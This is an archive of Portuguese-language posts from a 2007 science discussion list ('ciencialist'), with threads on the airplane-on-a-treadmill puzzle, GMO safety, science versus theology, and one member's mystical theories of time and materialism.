> A velocidade de ambos pode aumentar simultaneamente até o
> máximo e o avião permanecerá no ponto 'o' praticamente parado.
>
> []s
>
> José Renato
> ............................................................
>
> From: "oraculo333" <oraculo@To: <ciencialist@yahoogrupos.com.br>
> Sent: Friday, April 06, 2007 4:59 PM
> Subject: [ciencialist] Chega, Renato... - Re: Balanço do avião
>
>
> Ola Renato
>
> Renato: "teria se deslocado também 1000 metros para trás, "trazendo"
> ou mantendo o avião ao/no mesmo ponto inicial de decolagem"
>
> Chega, Renato! Pessoas com esse padrao de "fe'", cega e teimosa,
> tornam impossivel qualquer discussao!
>
> Todo mundo tentou explicar para voce, a esteira NAO traz, ela nao pode
> trazer, ela nao tem como trazer o aviao para tras!!!
>
> A UNICA coisa que ela pode fazer e' girar as rodas do aviao mais
> rapido do que girariam se este estivesse decolando de um piso fixo.
> So' isso, NADA mais.
>
> Para TRAZER o aviao ela teria de aplicar forca neste, e forca que
> compensasse a propulsao, e ela NAO pode.
>
> O Takata apenas tentou demonstrar que em algumas circunstancias os
> rolamentos poderiam, no limite, agir dessa forma. Mas voce nao
> entende, ao rolar para tras a esteira NAO TRAZ, NAO TEM COMO TRAZER,
> NAO PODE TRAZER, o aviao ao ponto de partida.
>
> Ela pode apenas "girar" as rodas mais rapido.
>
> Pense na diligencia (pense, nao doi!), e o cara que a empurra ou os
> cavalos que a puxam de FORA da esteira (que e' o mesmo que as helices
> e os jatos). A diligencia NAO volta se a esteira e' ligada, ela apenas
> tem as rodas girando mais rapido!!!!
>
>
> Eu desisto. Outros talvez queiram tentar explicar para voce, ms eu
> desisto. Se quer "acreditar" em mais alguma coisa, que o aviao nao
> decola, e' direito seu, e eu desisto.
>
> Homero
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SUBJECT: P/ JC - Re: Balanço do avião - Não to entendendo nada :)
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/04/2007 00:34

Olá JC

Este debate se originou de um experimento mental, uma "pegadinha", que
continha este enunciado:

Um avião está sobre uma esteira rolante. Conforme o avião acelera, e
se move para frente, a esteira, a partir de um dispositivo automático,
começa a rolar para tras, na mesma velocidade de deslocamento do avião.

Pergunta-se, o avião decola (ou seja, atinge a velocidade de voo em
relação ao ar), ou não decola (ou seja, não atinge a velocidade de voo).

Depois de, inicialmente, alguns serem "enganados" pelo "red hering", a
esteira que rola para tras, o que os levou a afirmar que o avião NÃO
decolava, pois não saia do lugar, todo mundo entendeu que, era
irrelevante a esteira, pois esta só aplicava força através dos
rolamentos das rodas, que são, no caso do avião, dispositivos de
ELIMINAR a ligação entre o avião e o solo.

Ou seja, a esteira rola para tras, mas só faz acelarar o "giro" das
rodas do avião, que continua a se mover para frente.

Parte do engano é a forma como "vemos" as rodas, como dispositivos de
tração. Se colocar um carro na esteira, como ele depende da "tração"
das rodas para se mover, o rolar da esteira impede que este ande para
frente.

Mas aviões se movem com propulsão separada do solo e das rodas! Ele se
move pelas hélices e jatos. E estes o moverão para frente seja sobre
rodas na esteira, seja sobre eskis no gelo, seja sobre flutuadores na
água.

Mas o Renato se recusa a entender, e afirma que o avião não decola.
Mais ainda, já bem encurralado, resolveu que "depende" do referencial
com que mede a velocidade do avião, se do solo, ar ou esteira. Ou
seja, se medir a velocidade do avião em relação a esteira, ele não
voa, se mudar a passar a medir a velocidade do avião em relação ao
solo, ele voa.

É um caso fantástico, onde dependendo do referencial em que mede algo,
o objeto se comporta de forma diferente!..:-) Até a relatividade do
coitado do Einstein (que já foi usado para justificar todo e qualquer
absurdo) ele tentou usar para sua tese.

Parte do engano veio de uma discussão paralela com o Takata, que
defendia que, em determinadas circunstâncias, o atrito dos rolamentos
das rodas poderiam desacelerar o avião o suficiente para que este não
decolasse. Mas até o Takata concordava que, se desprezarmos o atrito
dos rolamentos, o avião decola sempre.

Quase todos tentaram explicar ao Renato, inclusive alguns dos que se
enganaram no início com o "red hering" da esteira (como o próprio
Leo), mas sem sucesso algum..:-)

Se quiser tentar também, eu já desisti..:-)

Um abraço.

Homero




SUBJECT: Re: Transgênicos. Afinal, quem diz o quê?
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/04/2007 00:55

Olá Luiz

Luiz: "Afinal, os dados científicos apontam para um uso sem perigos ou
isto é falácia? O Greenpeace tem razão de chiar, ou chia só para fazer
barulho e terem o que fazer? Como fica esse embate? "

Acho que não há resposta simples ou 100% para essa questão, como
muitas questões complexas. Mas é possível tentar ver algo através das
"cortinas" de exagero de ambos os lados.

Muitos seres vivos são "transgênicos" muito antes de nós dominarmos as
técnicas que permitem criar artificialmente transgenicos. A troca de
material genético entre vírus e plantas é antiga, e diversas
características parecem provir desse hábito ancestral.

O Grenpeace tem certa razão, embora ele sempre prefira o exagero e
super-exposição. Toda nova tecnologia deve ser estudada, acompanhada e
cuidadosamente analisada, antes de ser largamente utilizada. O risco
de não agir assim não compensa vantagens de curto prazo.

Isso fica evidente quando os organismos gestores cedem as pressões de
laboratórios para liberar novas drogas ou tratamentos antes dos prazos
comumente exigidos. Medicamentos que deveriam curar acabam
apresentando efeitos colaterais graves ou daninhos, de forma a não
compensar sua eficácia como tratamento.

Mas estudar e acompanhar cuidadosamente é diferente de impedir o
estudo completamente, ou ignorar as pesquisas, se estas refutarem sua
preocupação. Coisas como vacinas, antibióticos, anestesia, etc, não
existiriam hoje se as preocupações, em alguma medida legítimas, do
início tivessem impedido seu desenvolvimento.

Tenho sempre certo receio de posições "religiosas", que apresentam
motivos "religiosos" contra conhecimento ou pesquisas científicas. E
nem sempre a posição religiosa é de uma religião clássica, o
Greenpeace, e o ativismo ecológico, podem se comportar como uma
religião, onde a motivação emocional vence a razão.

A Igreja tentou impedir a anestesia no parto, pois violava palavras
claras e sagradas de deus: darás a luz com dor e sofrimento. Me parece
que a implicância com transgenicos, em alguma medida, passou para o
lado da motivação religiosa, mais que a oposição racional.

Por exemplo, as críticas parecem se dirigir aos "perigos" aos seres
humanos, quando poderiam ser mais eficazes se fossem dirigidas a
fragilidades mais evidentes e racionais, a possibilidade de se
tornarem ineficazes em razão da evolução do meio ambiente, e mais
especificamente, contra as empresas por tras dos transgenicos mais
conhecidos, que tentam criar um monopólio de patentes de genes para
sementes.

Isso me parece muito mais preocupante que eventuais perigos de ingerir
soja transgenica. Uma empresa pode criar uma semente transgenica, que
é resistente apenas a seu próprio herbicida, de forma a criar um
monopólio vertical: vende a semente, o que obriga a compra de adubo,
insumos e herbicidas, tudo fabricado por ela mesma.

A maior parte dos estudos parece confirmar a segurança da ingestão de
sementes transgenicas. Sem nada a refutar esses estudos, a sensação de
que é mais histeria que preocupação real é muito forte.

Um abraço.

Homero




SUBJECT: P/ JC - Discordando, educadamente..:-) Re: Em defesa doparadoxo
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/04/2007 05:34

--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Olá, José Carlos!
>
> ...
>
> É o que acontece normalmente: se não conheço a linguagem do outro,
também
> não conheço suas idéias... E seus argumentos não fazem qualquer sentido
> lógico para mim.
>
> Abraços
>
> José Renato

Bingo! Ainda bem que você sacou logo. Então não temos mais o que
tratar sobre essa questão. Ciência é ciência, filosofia é filosofia e
teologia deve ser alguma coisa de que os padres gostam muito.

Abraços,
JC




SUBJECT: P/ JC - Re: Balanço do avião - Não to entendendo nada :)
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/04/2007 06:02

Ok, agora entendi. Nossa, que confusão vocês fizeram, não? Mas porque
o José Renato não entendeu ainda? Será que ele está pensando que a
esteira está arrastando o avião para trás?

Ei JR, qualquer que seja o movimento da esteira ela não afeta o do
avião (probleminha idealizado, sem atrito nos rolamentos da roda, só
alegria!).

Abraços,
JC


--- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@...> escreveu
>
> Olá JC
>
> Este debate se originou de um experimento mental, uma "pegadinha", que
> continha este enunciado:
>
> Um avião está sobre uma esteira rolante. Conforme o avião acelera, e
> se move para frente, a esteira, a partir de um dispositivo automático,
> começa a rolar para tras, na mesma velocidade de deslocamento do avião.
>
> Pergunta-se, o avião decola (ou seja, atinge a velocidade de voo em
> relação ao ar), ou não decola (ou seja, não atinge a velocidade de voo).
>
> Depois de, inicialmente, alguns serem "enganados" pelo "red hering", a
> esteira que rola para tras, o que os levou a afirmar que o avião NÃO
> decolava, pois não saia do lugar, todo mundo entendeu que, era
> irrelevante a esteira, pois esta só aplicava força através dos
> rolamentos das rodas, que são, no caso do avião, dispositivos de
> ELIMINAR a ligação entre o avião e o solo.
>
> Ou seja, a esteira rola para tras, mas só faz acelarar o "giro" das
> rodas do avião, que continua a se mover para frente.
>
> Parte do engano é a forma como "vemos" as rodas, como dispositivos de
> tração. Se colocar um carro na esteira, como ele depende da "tração"
> das rodas para se mover, o rolar da esteira impede que este ande para
> frente.
>
> Mas aviões se movem com propulsão separada do solo e das rodas! Ele se
> move pelas hélices e jatos. E estes o moverão para frente seja sobre
> rodas na esteira, seja sobre eskis no gelo, seja sobre flutuadores na
> água.
>
> Mas o Renato se recusa a entender, e afirma que o avião não decola.
> Mais ainda, já bem encurralado, resolveu que "depende" do referencial
> com que mede a velocidade do avião, se do solo, ar ou esteira. Ou
> seja, se medir a velocidade do avião em relação a esteira, ele não
> voa, se mudar a passar a medir a velocidade do avião em relação ao
> solo, ele voa.
>
> É um caso fantástico, onde dependendo do referencial em que mede algo,
> o objeto se comporta de forma diferente!..:-) Até a relatividade do
> coitado do Einstein (que já foi usado para justificar todo e qualquer
> absurdo) ele tentou usar para sua tese.
>
> Parte do engano veio de uma discussão paralela com o Takata, que
> defendia que, em determinadas circunstâncias, o atrito dos rolamentos
> das rodas poderiam desacelerar o avião o suficiente para que este não
> decolasse. Mas até o Takata concordava que, se desprezarmos o atrito
> dos rolamentos, o avião decola sempre.
>
> Quase todos tentaram explicar ao Renato, inclusive alguns dos que se
> enganaram no início com o "red hering" da esteira (como o próprio
> Leo), mas sem sucesso algum..:-)
>
> Se quiser tentar também, eu já desisti..:-)
>
> Um abraço.
>
> Homero
>




SUBJECT: Re: Como funciona o processo...?
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/04/2007 09:33

Olá Sirvio! Cumpadre Murilo!

Nois é jeca mas é joia!

Pra falar da vida no sitio, só com poesia mesmo. Creio
que vcs já assitiram aquele filme chamado "Contato",
baseado no livro de Carl Segam. Bem, vcs lembram
daquela parte em que a Judi Foster está fazendo a
viagem no espaço-tempo? Lembra o que ela diz? É algo
assim: "É lindo! Deviam ter mandado um poeta e não um
cientista".

As vezes eu me sento no meio do pasto e fico só
olhando as vacas pastando. É perfeito. Tudo se
encaixa. A vaca, o capim, a bosta, o capim, a vaca, o
capim, a bosta, o capim, a vaca... quer moto-continuo
mais perfeito? As noites no sitio, então, o céu parece
mesmo que vai cair em cima da nossa cabeça, tipo
acontece com o galinho chickem little. No sitio nos
desligamos do relógio social e nos ligamos ao relógio
da natureza, esta é a mágica.


inte mais
ferrari






--- Silvio Cordeiro <scordeiroes@superig.com.br>
escreveu:

> Amarelinhos.....
> tinha também 500 eucalío]ptos, de todos os tipos gue
> ganhei no horto da prefeitura....
> Mas eu o vendi pra vir pra guarapari e nem tive
> coragem de voltar lá.... Hoje é um loteamento.
> Falando em poesia, eu tinha uma cachorrinha tão
> condicionada que, todos os sábados - só aos sábados
> - ela sentava na varanda e esperava que eu chegasse
> de carro, a uns 150 m de distância: era só ver o
> carro e ela vinha como uma bala...
> Na vida, o bom mesmo é plantar: idéias, filhos,
> árvores....
>
> abraço,
>
> silvio.
> ----- Original Message -----
> From: murilo filo
> To: ciencialist@yahoogrupos.com.br
> Sent: Sunday, April 08, 2007 5:45 PM
> Subject: [ciencialist] p/Silvio / Como funciona o
> processo...?
>
>
> Sílvio...
> Até eu estou com vontade de ver o seu sítio...
> Vc tombém é um poeta, Sílvio...
> Só que do tipo incompreensivo.
> Pruquê ocê num deixô os minino socegado, Sílvio...
> Um pograminha ô ôtro num faz mal.
> A vida passa, meu poeta...
> abraço e parabens pelos 100 ipês ( amarelos? )
> Muliro
>
> >From: "Silvio Cordeiro"
> <scordeiroes@superig.com.br>
> >Reply-To: ciencialist@yahoogrupos.com.br
> >To: <ciencialist@yahoogrupos.com.br>
> >Subject: Re: [ciencialist] Re: Jeff: Como
> funciona o processo...?
> >Date: Sun, 8 Apr 2007 11:03:27 -0300
> >
> >Meu prezado Ferrari, o jovem:
> >
> >Sou doutor em sitiologia. Tive um, trabalhei nele
> durante anos, não havia 1
> >m² que não fosse cuidado e plantado: no começo,
> tirava até 15 produtos
> >deferentes: com o tempo, a exaustão da terra, a
> triste realidade que no
> >sacolão os gêneros eram mais baratos (o caseiro e
> a família dele faziam a
> >festa) mais as doenças que liquidavam as aves e
> os cães, eram ônus
> >pezado... Salvava-se festas de S. João quando
> dávamos canjica e cachaça
> >para dezenas de vizinhos... Comprei e plantei 100
> mudas de ipê, na
> >fronteira norte, na cacunda de um morro: deve ter
> ficado lindo pois logo
> >depois, vendi: tinha sido transformado, por meus
> filhos, em prostíbulo....
> >
> >um agraço,
> >
> >silvio.
> >
> >Mas havia noites em que ver o céu pagava todos os
> problemas.... os barulhos
> >da noite: corujas caçando, gambás comendo
> maracujás, micos devastando
> >bananeiras... e os vagalumes ávidos, procurando
> as consortes....
> >
> > ----- Original Message -----
> > From: Ferrari
> > To: ciencialist@yahoogrupos.com.br
> > Sent: Wednesday, April 04, 2007 1:20 PM
> > Subject: [ciencialist] Re: Jeff: Como funciona o
> processo...?
> >
> >
> > Olá Jeff!
> >
> > Jeff >>> Acho que também sou um "proto-hyppie"
> Meu
> > objetivo é, um dia, comprar um sítio e poder
> morar
> > nele.
> >
> > --- Nem tudo num sitio é vida boa e fácil. Tirar
> leite
> > da teta da vaca, por exemplo, requer maestria de
> > pianista. Cuidar dos porcos é bem fedorento. E
> por
> > mais que vc carpir, o mato teimoso vai sempre
> voltar a
> > crescer. Contudo, se a procura
> cientifica-proto-hyppie
> > continuar, vou até pensar em lotear uns por
> aqui.
> >
> > Jeff >>> Hmmmm... Eu estava reconhecendo as suas
> > idéias de algum lugar... :-) Você acredita que
> vivemos
> > em algo como a Matrix
> >
> > --- não acredito que vivemos. eu sei que vivo.
> sei de
> > mim, o resto é mapa. e não sei que vivo na
> matrix, sei
> > que vivo no que vive. Se chamo isto que vive de
> vida,
> > de matrix, de deus, de eternidade, de matéria,
> de sopa
> > quantica, de eletrons, etc, não muda a realidade
> disto
> > que vive, é apenas um recurso semantico. Não
> > precisamos nos prender a semantica.
> >
> > --- Ninguém precisa de semantica pra existir,
> precisa?
> > Pois então! A semantica da matrix pode ser uma
> boa
> > semantica, se bem usada. Uso bastante ela. E
> usei com
> > o Murilo porque sei que lhe é familar. Já
> conversamos
> > usando esta semantica antes.
> >
> > Jeff >>> e que só você conseguiu se libertar
> dela para
> > "ver" a verdade.
> >
> > --- Jeff, assim como não tem como vc se libertar
> do
> > que vc é, um ser, não tem como um personagem da
> matrix
> > se libertar da matrix, pois ele é a própria
> matrix.
> > Aquele negocio do Neo ir pra Zion é uma
> metáfora. Não
> > teria como o Neo sair da mundo da forma é ir
> para um
> > mundo sem forma. Cinema é forma. Como o autor do
> filme
> > ia conseguir passar a idéia de um mundo sem
> forma, se
> > todas as imagens na telas precisam ter forma,
> entende?
> >
> > --- Sair da matrix é "viver no mundo da forma,
> sem ser
> > do mundo da forma". A semantica católica fala
> uma
> > coisa parecida com isto, algo assim "estar no
> mundo,
> > mas não ser do mundo".
> >
> > --- Contudo, não há nada para se fazer, já somos
> o que
> > somos. Só que não sabemos o que somos. Este é o
> > obstáculo. Vc sabe quem vc é? Esta é uma
> pergunta de
> > vc pra vc mesmo. Só vc pode responder. E
> enquanto não
> > souber quem vc é, vc vai ter que acreditar no
> que os
> > outros te dizem. Sejam eles doutores cientista,
> > respeitados religiosos, ou iluminados mestres.
> Não
> > importa quem for, se acreditar, vc será apenas
> um
> > crente, como qualquer crente que vc tanto fala
> mal,
> > generaliza e condena.
> >
> > --- Porém, quando vc souber que vc é, ai nada
> poderá
> > lhe enganar mais. Porque? Porque a verdade do
> que vc
> > é, é sempre a mesma, não muda nunca. Só muda de
> > semantica. Só muda de forma. Eis como funciona o
> > processo.
> >
> > Jeff >>> ...que tudo é controlado por um deus,
> que
> > funciona como o Arquiteto da Matrix.
> >
> > --- Chame do que quiser, o controle está ai, e
> não
> > adianta negar. Aliás, o próprio ato de negá-lo o
> > prova. Todo ato acontece no tempo, e é regido
> pelo
> > tempo, isto é inegável. Seja o ato de afirmar
> uma
> > coisa ou de negar a mesma coisa. Ambos os atos
> > acontecem no tempo. Eis ai um outro nome que
> podemos
> > dar ao controlador-trix "tempo". Sobre isto vou
> falar
> > no próximo artigo "sobre oniporesença".
> >
> > Jeff >>> "A colher não existe", é só um mapa
> mental
> > que "Deustrix" colocou na minha cabeça! :-)
> >
> > --- Isto é o que vc aprendeu no filme. Agora,
> isto é
> > uma verdade pra vc? É isto que importa. Veja, o
> que os
> > cientista materialistas falam pode ser veradade.
> Mas é
> > verdade pra vc? O que os quanticos falam pode
> ser
> > verdade, mas é verdade pra vc? O que os judeus
> falam
> > pode ser verdade, mas é verdade para vc? O que
> os
> > budistas falam pode ser verdade, mas é verdade
> pra vc?
> > É isto que importa, a verdade, e não a
> semantica.
> >
> > Jeff >>> Bom, não posso provar que isso é
> impossível
> > mas, usando a navalha de Ockhan: se não precisa
> > existir, é mais provável que não exista.
> >
> > --- Sim, é mais fácil acreditar em Ockhan do que
> em si
> > mesmo, não é? Eis porque tem gente querendo me
> > expulsar da lista. Eu sou apenas um espelho, o
> que as
> > pessoas veem em mim, no que escrevo, é o que
> está
> > dentro delas, no inconsciente. Mas elas não
> querem ver
> > o que está inconsciente. Vc acha que alguém
> gostou
> > quando freud disse que o comportamento da
> pessoas
> > estava baseado no inconsciente? Ninguém gostou.
> É
> > natural. Se o consciente gostasse do que está
> > inconsciente não o mantinha inconsciente, não é
> mesmo?
> > Mas suponho que vc seja uma pessoa nova, aberta,
> com
> > um coração de cientista que ainda não foi
> corrompido
> > pela luta do poder. Sendo assim, volto a lhe
> > aconselhor, vc é o livro. Não se deixe corromper
> por
> > ninguém que se faça de doutor ou dono da verdade
> > (autoridades). A verdade não tem dono. Vc é a
> verdade,
> > e ninguém pode tirar vc de vc.
> >
> > Jeff >>> Podemos inventar N realidades...
> >
> > --- Podemos inventar N mapas, realidade é uma
> só.
> >
> > Jeff >>> Se você ainda não assistiu, assista "O
> 13º
> > andar", muito interessante.
> >
> > --- Valeu! Já assisti sim.
> >
> > Jeff >>> Pode até te fazer "mudar de realidade"
> :-)
> >
> > --- Jeff, investigue esta metáfora, pense no
> > significado dela: o mapa não é o território.
> >
> > sinceramente
> > ferrari
> >
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> > EXPERIMENTE XIXI COM TINTA
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> > Checked by AVG Free Edition.
> > Version: 7.5.446 / Virus Database: 268.18.24/742
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> >[As partes desta mensagem que não continham texto
> foram removidas]
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> No virus found in this incoming message.
> Checked by AVG Free Edition.
> Version: 7.5.446 / Virus Database: 269.0.0/751 -
> Release Date: 7/4/2007 22:57
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> [As partes desta mensagem que não continham texto
> foram removidas]
>
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SUBJECT: Re: P/ JC - Discordando, politely
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/04/2007 09:56

Olá Teacher José!

Já que todo mundo nesta tread é educado. Permita-me
uma intromissão educada.

Zé >>> Ciência é ciência, filosofia é filosofia e
teologia deve ser alguma coisa de que os padres gostam
muito.

--- Ingles é Ingles, portugues é portugues e espanhol
deve ser alguma coisa de que os espanhois gostam
muito. E ai, understand o lance, brother José?

--- Creio que este é o ponto que o José Renato está
tentando lhe mostrar. Em ingles se fala "the book is
on the table". Em portugues se fala "O livro está
sobre a mesa". Ou seja, a "forma" de se comunicar é
distinta, mas o "conteudo" da comunicação é o mesmo.
Analogamente, a forma da ciência é a forma da ciência,
a forma da filosofia é a forma da filosofia, a forma
da teologia é a forma teologia, mas o conteudo é o
mesmo. Nem poderiam ser diferente, afinal são todos
frutos da mesma árvore: the human beeing. Lhe faz
sentido? Do you agree?


sinceraly
teacher ferrari


ps1: não recebo suas respostas do boteco pois estou
wed-only. se puder me manda pro meu email também.

ps2: mensalmente vou pra são paulo e o onibus da
itamarati sempre faz escala em americana. procuro sua
house com os olhos, mas são tantas.





- - - - - - - - - - - - - - -

EXPERIMENTE XIXI COM TINTA
O novo livro de Marcelo Ferrari:
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SUBJECT: Re: Takata: Sobre o Método Cientifico - Mapa e Território
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/04/2007 11:59

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> comportamento. É o seguinte: as vezes você me parece o
> True Blue, ou seja, uma máquina que só sabe jogar

Deep Blue?

> Ou seja, não venho aqui pra ficar dando xeque mate em
> ninguém.

Tb não. O q não quer dizer q eu vá me furtar a tentar mostrar as
inconsistências q vejo em certas opiniões emitidas. Especialmente de
opiniões em uma área q, por acaso, vem a ser a em q eu trabalho.

> 1)Em que posso lhe ser útil?

Se vc encontrar os EPs "Soul Show" e o "Blue Million Miles" da Joan
Osborne...

> 2)Qual sua intenção em debater a questão do mapa e do
> território comigo?

Mostrar como vc está equivocado a respeito das ciências e como a sua
visão de realidade é inconsistente. E tb defender a idéia de q deuses
e divindades são conceitos q devem ser mantidos longe do discurso
sobre ciências.

[]s,

Roberto Takata



SUBJECT: Re: JR: Abrindo a Carta do Materialismo
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/04/2007 14:09

Olá José Renato!

JR <<< Caro, Ferrari! Pincei esses dois parágrafos de
sua ampla e esclarecedora resposta a Jeff por ser um
dos meus temas favoritos: o conceito de tempo. >>>

A questão da “evolução da forma”, ou seja, da
transFORMAção, precisa ser compreendida claramente,
senão este upgrade da ciencia que falei, fica
estagnado. O que atualmente atrapalha o avanço da
ciencia pra construção do mapa maior (o tempo) é a
resistencia dos materialistas. Voce mesmo, por
exemplo, ainda está preso neste paradigma. E é por
isto que não resolve a questão do tempo. Espero poder
lhe ajudar neste sentido. Mas o primeiro passo é se
livrar do tapa-olho materialista. E como ele está na
sua cabeça, meu limite é apontar, entende?

JR <<< Entendo que o tempo cronológico não tem
existência física. É um índice, uma relação entre dois
movimentos >>>

De certa forma voce está certo quando diz “uma relação
entre dois movimentos”. Porém são movimentos da forma
e não do conteudo. Vou explica:

Vc entende o movimento com uma visão materialista,
como sendo o movimento do conteudo, e não é. O que se
movimenta não é o conteudo, é a forma. Nada se perde,
tudo se transFORMA. O movimento universal é sempre da
forma. É por isto que no meu blog foi preciso começar
definindo deus (o ser universal). Se uma pessoa não
compreender que tudo que “percebemos como matéria” e
que “chamamos de matéria”, na verdade, é o pensamento
de deus em movimento, fica impossivel compreender as
questões do tempo.

Por exemplo, voce vê um carro se movimentando pela
rua. Sua visão materialista lhe diz que um corpo está
se movimentando pelo espaço vazio, não é? Claro que é!
Eu também faço isto. Na hora de atravessar a rua, se
eu não pensar de forma materialista, o carro me
atropela. Contudo, isto não significa que esta é a
visão temporal da coisa. Veja, o universo é uma coisa
só, por isto é UNIverso. Então, se o carro está se
movendo logo o universo inteiro está se movendo. O
carro não está separado do universo, nem o universo
está separado do carro, são a mesma realidade.

Pois bem, agora, se nada se perde, tudo se transFORMA.
Pra onde está indo o universo quando o carro se
desloca? Para lugar nenhum, pois o conteudo do
universo não está se movendo, o que está se movendo é
sua forma. O universo não tem pra onde ir, o universo
é tudo, todos os lugares, todo o conteudo. Pra onde
ele poderia ir?

Imagine o universo como uma bexiga cheia de água. Vc
poe a bexiga em movimento, o que acontece? Pra onde
vai a bexiga? Não vai pra lugar nenhum, a bexiga é
tudo, todos os lugares. O que acontece com a bexiga
então? Ele se deFORMA pra lá e pra cá. Analogamente é
assim que se comporta o universo: se deFORMAnado.

Porém, o universo não é material, ele é o cérebro de
deus. Vamos definir deus como "eternidade". O que são
deFORMAções na eternidade? São “momentos”. Um momento
é uma deformação da eternidade. Como são vários os
momentos se sucedendo, relação entre dois momentos, é
o que voce está chamando de “movimento”. Um momento é
uma forma, outro-momento é outra forma. Ou seja, na
visão temporal, evolução é o movimento da forma
observada (transFORMAção). O equivico materialista é
achar que é o movimento do conteudo (deslocamento).

Mas como isto se aplica ao movimento do carro que
parece tão material? Simples, tanto o carro como eu,
que estou atravessando a rua, somos o mesmo “momento”,
não somos? Um carro que está passando agora só pode me
atropelar agora. Não pode me atropelar amanhã, nem
ontem. Eu e o carro somos o mesmo momento universal,
numa visão temporal, não estamos separados. A
separação entre eu e o carro só existe na visão
materialista, não na visão temporal. Enfim, é por isto
que o carro é capaz de me atropelar e quebrar minha
perna, embora nem eu nem o carro sejamos objetos
materiais, e sim temporais.

"Objetos temporais", esta será a nova visão dos
objetos. Um corpo é feito de tempo, não de matéria.
Não é a toa que todos os corpos nascem no tempo e
morrem no tempo. Uma analogia é o video-game. Num
video game, nada é material, mas as trombadas
acontecem ainda assim. As coisas quebram e etc. Se os
personagens do video game tivessem consciencia
(digamos assim) eles teriam sensações materialista
também destas trombadas. O materialismo está ligado as
sensações, e o gerador das sensações é o movimento da
eternidade, assim como o gerador da realidade virtual
no video game é o processador do game (o cérebro do
game).

JR <<< O agente concreto do tempo é o movimento >>>

Tá vendo. Voce diz “concreto” porque não consegue se
desapegar da visão materialista. Eu entendo você. Que
mundo é este onde as paredes não são duras e o chão é
feito de nada? Como viver em um mundo assim? Ora, do
mesmo jeito que voce tem vivido até hoje. Como vc é
católico deve conhecer bem isto “esteja no mundo, mas
não seja do mundo”. Eu, como poeta, adoro este mundo
de formas mentirosas, cada forma é uma obra prima de
deus. Contudo, são efemeras, eu sei que não sou deste
mundo, apenas estou aqui. Enfim, seu ponto de vista,
por ser materialista, está invertido: não é o
movimento da materia que cria o movimento do tempo,
mas o contrário, "é o movimento da eternidade que cria
o movimento da materia”. Como disse, não é a toa que
tudo nasce e morre no tempo.

JR <<< Onde não há movimento não há tempo, não é
possível medir o tempo >>>

Novamente seu ponto de vista está invertido: "quando
não há movimento da eternidade não há movimento da
matéria." O que vc chama de “medir o tempo” é uma
ilusão da visão materialista. É possivel medir o
tempo, pois o medidor é feito de tempo também. O que
se mede geralmente é a transFORMAção universal, mas de
uma forma relativa (particular, particula).

Um cachorro está atravessando a rua e vc resolve medir
com o relógio o tempo que ele vai levar. Mas vc não
mede o tempo, mede a transFORMAção universal de forma
relativa. Vc recorta o universo na particula cachorro,
particula relógio, particula rua, etc. Mas o cachorro
não está atravessando a rua, isto é uma visão
materialista. É o universo inteiro que está se
trasnFORMAndo.

Novamente, imagine que voce está dentro de um
video-game vendo o cachorro atravessar a rua, o que vc
está medindo de fato? Está medindo a transFORMAção
total do video game de forma relativa (particular).
Nesta visão, o que é um momento: é um ciclo de
transFORMAção universal: um pulso da "matéria". A
eternidade pulsa. O pulso é a voz de deus. Deus está
falando com nós o tempo todo. Mas a voz dele é o
pulso. Este será o próximo post lá no blog.

JR <<< Porque como já tinha percebido Aristóteles o
tempo é a medida do movimento. É através dos
movimentos no espaço que a realidade se
forma e se revela: é o que chamo de espaço-movimento,
englobando o espaço-tempo. >>>

José Renato, Aristoteles é o pai do materialismo e o
cruel assassino de seu professor: Platão. Não é a toa
que ele disse isto ai em cima. Os cientistas são
materialistas porque seguiram o paradigma materialista
de Aristoteles. Muitos filosofos e muitos religiosos
são materialistas também por este motivo. Veja, a
visão materialista tem seu lugar na criação. Mas é um
lugar, não é todos os lugares. Tivesse Platão sido o
pai da ciencia e a história teria sido bem diferente.
Tudo que Aristoteles fez foi olhar de ponta cabeça o
que seu professor lhe ensinou. A ciencia faz a mesma
coisa com o que diz os misticos dizem. De Aristoteles
pra cá tem sido o tempo da inversão. Os maias chamam
estes tempos de kaliyuga (tempo de ferro). Mas isto
também é obra do senhor do tempo (deus).

sinceramente
Ferrari






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SUBJECT: Re Jeff: Abrindo a Carta do Materialismo
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/04/2007 14:19

Olá Jeff!

Jeff: <<< Eu vejo exatamente o contrário Ferrari. Quem
tem medo de "abrir a carta" e não encontrar deus são
os que acreditam nele! >>>

Faz todo sentido você ver assim, você argumenta sempre
baseado da visão materialista, inevitavelmente vê a
realidade ao contrário mesmo. O materialismo é a
inversão (o contrário) da visão espiritual. Eis ai uma
coisa muito importante de você compreender: o
materialismo não é uma realidade, ele é uma forma de
ver a realidade, uma forma incompleta e que ignora a
causa de si mesmo. Eu expliquei isto para um
c-listeiro assim: “a ciência não é materialista. Não
tem como ser. É impossível. A ciência é um processo
dentro da realidade e a realidade não é material, a
realidade é real. Contudo, a mente do cientista, que
também não é material, é real, é habitada por este
paradigma “o materialismo”. E é assim que apesar de
nada na realidade ser material, passa a ser, embora
não sendo.”

Outra coisa. Por favor, preste atenção pra você parar
de confundir o meu discurso com o discurso de um
crente. Nada contra os crentes. Porém, é preciso que
você não confunda as bolas. É o seguinte: “Eu não
acredito na existência de deus, eu sei que deus
existe”. É bem diferente saber de acreditar. Crentes
são aquelas pessoas que acreditam na existência de
deus tal como lhes é ensinado. Não é o meu caso. Eu
sei que deus existe. Deus, pra mim, não é algo que me
foi ensinado e eu memorizei, deus pra mim é realidade
que constato a cada instante. Você acredita que você
existe, ou você sabe que existe? Entende a diferença?
Analogamente, eu sei que deus existe. Vc também sabe.
